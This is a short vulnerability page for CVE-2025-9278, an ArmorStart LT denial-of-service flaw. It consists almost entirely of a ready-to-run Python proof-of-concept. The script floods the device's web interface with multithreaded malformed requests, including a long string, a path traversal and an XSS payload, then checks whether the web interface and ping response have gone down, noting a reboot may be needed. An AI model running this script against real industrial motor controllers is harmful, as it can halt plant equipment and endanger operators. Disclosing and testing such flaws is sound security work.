CVE-2025-9278 Rockwell Automation ArmorStart LT 拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-9278 PoC - ArmorStart LT Denial of Service This PoC demonstrates the DoS vulnerability in ArmorStart LT devices. The device becomes unresponsive after active scanning. """ import requests import time import sys from concurrent.futures import ThreadPoolExecutor def send_malformed_request(target_url): """Send various malformed HTTP requests to trigger the vulnerability""" headers_list = [ {'User-Agent': 'Mozilla/5.0 (compatible; BurpScanner/2.0)'}, {'X-Forwarded-For': '127.0.0.1'}, {'Referer': 'http://test.com'}, ] # Malformed requests that may trigger the DoS payloads = [ '', # Empty payload 'A' * 10000, # Long string '../../../etc/passwd', '<script>alert(1)</script>', ] for header in headers_list: for payload in payloads: try: requests.get(target_url, headers=header, params={'q': payload}, timeout=5) except requests.exceptions.RequestException: pass def check_device_responsive(target_url): """Check if the device is still responsive""" try: response = requests.get(target_url, timeout=5) return True except: return False def check_icmp_connectivity(target_ip): """Check ICMP connectivity using system ping command""" import subprocess try: result = subprocess.run(['ping', '-c', '1', '-W', '2', target_ip], capture_output=True, timeout=3) return result.returncode == 0 except: return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-9278-poc.py <target_url>") print("Example: python cve-2025-9278-poc.py http://192.168.1.100") sys.exit(1) target_url = sys.argv[1] target_ip = target_url.split('//')[1].split(':')[0].rstrip('/') print(f"[*] Starting CVE-2025-9278 DoS test against {target_url}") print(f"[*] Checking initial device status...") # Check initial status if not check_device_responsive(target_url): print("[-] Device is not responding before testing") return if not check_icmp_connectivity(target_ip): print("[-] Device does not respond to ICMP before testing") else: print("[+] Device responds to ICMP ping") print("[*] Sending malformed requests (simulating Burp Suite active scan)...") # Send multiple requests to trigger DoS with ThreadPoolExecutor(max_workers=10) as executor: for i in range(100): executor.submit(send_malformed_request, target_url) if i % 10 == 0: print(f"[*] Progress: {i}/100 requests sent") print("[*] Waiting for device to process requests...") time.sleep(10) print("[*] Checking device status after testing...") # Check post-attack status if not check_device_responsive(target_url): print("[+] VULNERABLE: Web interface is not accessible (DoS confirmed)") else: print("[-] Web interface is still accessible") if not check_icmp_connectivity(target_ip): print("[+] VULNERABLE: Device lost ICMP connectivity (DoS confirmed)") else: print("[-] Device still responds to ICMP") print("[*] Testing complete. Note: Device may require manual reboot to recover.") if __name__ == '__main__': main()